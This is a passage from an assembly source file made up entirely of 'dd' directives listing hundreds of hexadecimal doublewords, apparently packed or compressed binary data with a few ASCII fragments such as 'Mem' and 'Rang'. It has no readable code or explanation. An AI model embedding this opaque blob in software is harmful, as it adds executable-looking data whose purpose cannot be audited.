3FC5Fh, 49756E46h, 0D809DFC7h dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h dd 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h, 714AFC00h dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h, 5501D834h dd 0D054CEh, 7E2AE975h, 0ACC8EF82h, 5AC44A00h, 248D5801h dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h, 3EA5CB29h dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h dd 8001DB44h, 0FB3AF9B8h dd 2822C77h, 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h dd 0C51FD868h, 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh dd 70261BC0h, 27C754Ah, 1F7DDA39h, 5068D329h, 9E000519h dd 0F416117Fh, 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h dd 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h dd 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h dd 3F42BC3Eh, 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h dd 0DF4C4762h, 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h dd 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h, 0F7B400Eh dd 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h, 30071A91h dd 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h, 433E4C0h dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh, 0CB5C03h dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h, 0F243846h dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh, 554F409Ch dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h dd 0E0485E25h, 8BA18Ah, 0E4D414A3h, 88909DA4h, 64836602h dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh dd 51FF100Ch, 419FC15h, 0C3A78AAEh, 6071805Ah, 7304123Ah dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h dd 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh, 6B00B387h dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h, 0ACDD5634h dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch, 57A5C7A3h dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh, 3D8E230h dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h, 4271109Dh dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h, 0BF4B2D87h dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h dd 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h, 6FAA56B0h dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h dd 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h, 0A540400h dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh dd 188A910h, 6AE48661h, 0C0953F1Ch, 0C8002C97h, 6B7C818Fh dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h dd 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h, 0C94BC4B3h dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h, 84D0C3EFh dd 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h, 85001018h dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h dd 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh dd 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h, 40488B92h dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h, 321D336Ch dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h, 40FFE3CEh dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h, 64210052h dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh dd 73041E20h dd 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h, 0CA655F72h dd 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh, 6E232938h dd 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h, 0B5213912h dd 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh, 9BC2A088h dd 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h, 0BFA37756h dd 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h, 8FE8C0E0h dd 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h, 0EB45A1C2h dd 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh, 2E030A37h dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h, 998438Bh dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h, 0AC042512h dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h dd 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h, 1DF1F35Eh dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h, 6CB0C46h dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h, 65D6E800h dd 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h, 62491778h dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h dd 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h, 7C2EB900h dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh, 0BC074C79h dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h, 6FC91781h dd 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h, 0A47CC3h dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h, 0DBF08BB3h dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h, 4BCAE0EAh dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h, 200AAE11h dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h, 0E6F34Ch dd 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h, 0A97231Dh dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh, 0B400FA83h dd 85541977h, 6032198h, 132453E1h, 41C5E94Eh, 98042CD4h dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh, 58005216h dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh, 6500F426h dd 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh, 3A9B3C42h dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h, 43C30EACh dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h, 0BCC60C00h dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah, 76805A00h dd 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h, 76007166h dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh dd 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h, 59503302h dd 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh, 39F6C780h dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h, 0CB802BBBh dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch dd 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h, 2CDB92C0h dd 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h, 3D620F16h dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h, 0CB473198h dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh, 150001A4h dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h, 8C7A1698h dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah, 43B7E16Fh dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h, 8FD1D7B7h dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh, 45812296h dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h, 0E78E617h dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h, 8029F2CCh dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h dd 0B18D0h, 875C91Dh dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h dd 5F18000h, 481C2478h, 0FFDA00C3h, 0E8048237h, 0ED30F8D9h dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah, 0A77B9EDAh dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h dd 251520Fh, 40400FABh, 9C7C20F9h, 302C00F1h, 0D81C051Ah dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h, 0C121061Ch dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h, 9D5442h dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h, 317F000Ah dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah, 0D22E00E8h dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h, 83784Fh dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h, 5771E14h dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h, 0A8CD191Fh dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h dd 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h, 25EE6Eh dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h, 98396072h dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h, 0DEC491C8h dd 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh, 4F98A1E8h dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h, 4914DC05h dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h, 0A2423A3Ch dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h, 1CF539F4h dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh, 91B123B0h dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah dd 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h, 805D883Ah dd 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h, 651F4845h dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh, 588E989Dh dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h, 0B258F057h dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch dd 2C00048h, 676E6152h, 9DFD1965h, 7700C820h, 8210C92h dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch, 64221DC0h dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h, 0D044F649h dd 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h, 7542F4AFh dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh dd 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h, 0B9616C89h dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h, 6B632661h dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh, 738572D9h dd 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh, 8F60E074h dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h, 3AEB00E1h dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh, 12A74A6h dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h dd 0C16F03B8h, 67E4BAC2h dd 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h, 54F7644Ah dd 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h, 6818BAE2h dd 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah, 0B2640054h dd 10240CDBh, 860067E8h, 557550BAh, 12F3B91h, 3822F5D5h dd 402E1004h, 0C4F278E2h, 3A3F9400h, 0F4DAE445h, 0EE6A2E96h dd 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh, 0F4263868h dd 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h, 0BCC8F5Ch dd 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h, 9F0C62C6h dd 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h, 32079D6Eh dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h dd 9AEFF00h, 6B291B50h, 3F840002h, 4461765Bh, 884CEE0Eh dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h, 70FC00E5h dd 0A40F45E3h, 12FB307h, 